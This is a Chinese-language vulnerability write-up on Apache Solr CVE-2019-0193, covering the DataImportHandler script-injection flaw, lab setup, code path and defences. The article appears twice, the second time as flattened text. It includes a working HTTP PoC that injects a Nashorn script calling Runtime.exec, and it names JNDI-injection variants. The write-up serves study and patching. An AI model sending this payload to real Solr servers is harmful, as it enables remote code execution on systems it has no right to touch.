漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193)
字数 1814 2025-08-27 12:33:43

Apache Solr远程代码执行漏洞(CVE-2019-0193)深度分析与利用指南

漏洞概述

Apache Solr是一个基于Java的开源企业级搜索平台,构建在Apache Lucene项目之上。CVE-2019-0193漏洞存在于Solr的可选模块DataImportHandler(DIH)中,允许攻击者通过构造特殊的HTTP请求实现远程代码执行(RCE)。

漏洞影响范围

  • 受影响版本:Apache Solr < 8.2.0
  • 必要条件:
    1. 启用了DataImportHandler模块(默认不启用)
    2. Solr Admin UI未开启鉴权认证(默认无认证)

技术背景

DataImportHandler模块

DataImportHandler(DIH)是Solr的可选模块,用于从外部数据源(如数据库、HTTP响应等)导入数据到Solr索引中。关键概念:

  1. 数据源(DataSource):定义外部数据的位置,可以是数据库DSN、URL等
  2. 实体(Entity):概念上对应外部数据源中的一组数据记录
  3. 实体处理器(Processor):从数据源提取内容并转换
  4. 转换器(Transformer):修改字段、创建新字段或生成多行文档

漏洞相关技术

  1. ScriptTransformer:允许使用Java支持的任何脚本语言(默认自带JavaScript引擎)
  2. Nashorn引擎:Java 8内置的JavaScript引擎,允许JS脚本调用Java类和方法

漏洞原理

漏洞存在于DataImportHandler模块处理用户提供的dataConfig参数时:

  1. 攻击者可通过HTTP请求的dataConfig参数完全控制DIH配置
  2. 配置中可以包含恶意脚本(通过<script>标签)
  3. Solr后端使用Nashorn引擎执行这些脚本时未做限制
  4. JavaScript脚本可通过java.lang.Runtime等Java类执行任意命令

环境搭建

  1. 下载Solr 8.1.1:https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip
  2. 启动Solr:bin/solr start -e dih
  3. 访问管理界面:http://localhost:8983/solr/

漏洞利用

基本PoC

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
Content-type: application/x-www-form-urlencoded
Content-Length: 585

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

多种利用方式

  1. URLDataSource方式

    • 优点:结果回显,支持低版本检测
    • 缺点:需要出网
  2. ContentStreamDataSource方式

    • 优点:结果回显,无需出网
    • 缺点:对低版本可能无效
  3. JNDI注入方式

    • 使用JdbcDataSource和com.sun.rowset.JdbcRowSetImpl
    • 缺点:受JDK版本限制,不够通用

漏洞分析

攻击流程

  1. 攻击者发送包含恶意dataConfig的HTTP请求
  2. Solr后端解析配置并加载ScriptTransformer
  3. Nashorn引擎执行恶意JavaScript脚本
  4. 脚本通过Java反射机制调用危险类方法(如Runtime.exec)

关键代码路径

  1. DataImportHandler.handleRequestBody():处理HTTP请求入口
  2. DataImporter.maybeReloadConfiguration():重新加载配置
  3. DataImporter.loadDataConfig():加载数据配置
  4. DIHConfiguration.readFromXml():解析XML配置
  5. EntityProcessorWrapper.applyTransformer():应用转换器
  6. ScriptTransformer.transformRow():执行脚本转换

防御措施

  1. 升级到Solr 8.2.0或更高版本
  2. 禁用DataImportHandler模块(如不需要)
  3. 为Solr Admin UI配置认证
  4. 设置enable.dih.dataConfigParam=false(Solr 8.2.0+)

总结

CVE-2019-0193漏洞源于Solr DataImportHandler模块对用户提供的脚本内容缺乏足够限制,结合Nashorn引擎的能力,导致远程代码执行。该漏洞利用条件较为宽松(默认配置下),危害性高,建议受影响用户及时采取防护措施。

Apache Solr远程代码执行漏洞(CVE-2019-0193)深度分析与利用指南 漏洞概述 Apache Solr是一个基于Java的开源企业级搜索平台,构建在Apache Lucene项目之上。CVE-2019-0193漏洞存在于Solr的可选模块DataImportHandler(DIH)中,允许攻击者通过构造特殊的HTTP请求实现远程代码执行(RCE)。 漏洞影响范围 受影响版本:Apache Solr < 8.2.0 必要条件: 启用了DataImportHandler模块(默认不启用) Solr Admin UI未开启鉴权认证(默认无认证) 技术背景 DataImportHandler模块 DataImportHandler(DIH)是Solr的可选模块,用于从外部数据源(如数据库、HTTP响应等)导入数据到Solr索引中。关键概念: 数据源(DataSource) :定义外部数据的位置,可以是数据库DSN、URL等 实体(Entity) :概念上对应外部数据源中的一组数据记录 实体处理器(Processor) :从数据源提取内容并转换 转换器(Transformer) :修改字段、创建新字段或生成多行文档 漏洞相关技术 ScriptTransformer :允许使用Java支持的任何脚本语言(默认自带JavaScript引擎) Nashorn引擎 :Java 8内置的JavaScript引擎,允许JS脚本调用Java类和方法 漏洞原理 漏洞存在于DataImportHandler模块处理用户提供的 dataConfig 参数时: 攻击者可通过HTTP请求的 dataConfig 参数完全控制DIH配置 配置中可以包含恶意脚本(通过 <script> 标签) Solr后端使用Nashorn引擎执行这些脚本时未做限制 JavaScript脚本可通过 java.lang.Runtime 等Java类执行任意命令 环境搭建 下载Solr 8.1.1:https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip 启动Solr: bin/solr start -e dih 访问管理界面:http://localhost:8983/solr/ 漏洞利用 基本PoC 多种利用方式 URLDataSource方式 : 优点:结果回显,支持低版本检测 缺点:需要出网 ContentStreamDataSource方式 : 优点:结果回显,无需出网 缺点:对低版本可能无效 JNDI注入方式 : 使用JdbcDataSource和com.sun.rowset.JdbcRowSetImpl 缺点:受JDK版本限制,不够通用 漏洞分析 攻击流程 攻击者发送包含恶意 dataConfig 的HTTP请求 Solr后端解析配置并加载ScriptTransformer Nashorn引擎执行恶意JavaScript脚本 脚本通过Java反射机制调用危险类方法(如Runtime.exec) 关键代码路径 DataImportHandler.handleRequestBody() :处理HTTP请求入口 DataImporter.maybeReloadConfiguration() :重新加载配置 DataImporter.loadDataConfig() :加载数据配置 DIHConfiguration.readFromXml() :解析XML配置 EntityProcessorWrapper.applyTransformer() :应用转换器 ScriptTransformer.transformRow() :执行脚本转换 防御措施 升级到Solr 8.2.0或更高版本 禁用DataImportHandler模块(如不需要) 为Solr Admin UI配置认证 设置 enable.dih.dataConfigParam=false (Solr 8.2.0+) 总结 CVE-2019-0193漏洞源于Solr DataImportHandler模块对用户提供的脚本内容缺乏足够限制,结合Nashorn引擎的能力,导致远程代码执行。该漏洞利用条件较为宽松(默认配置下),危害性高,建议受影响用户及时采取防护措施。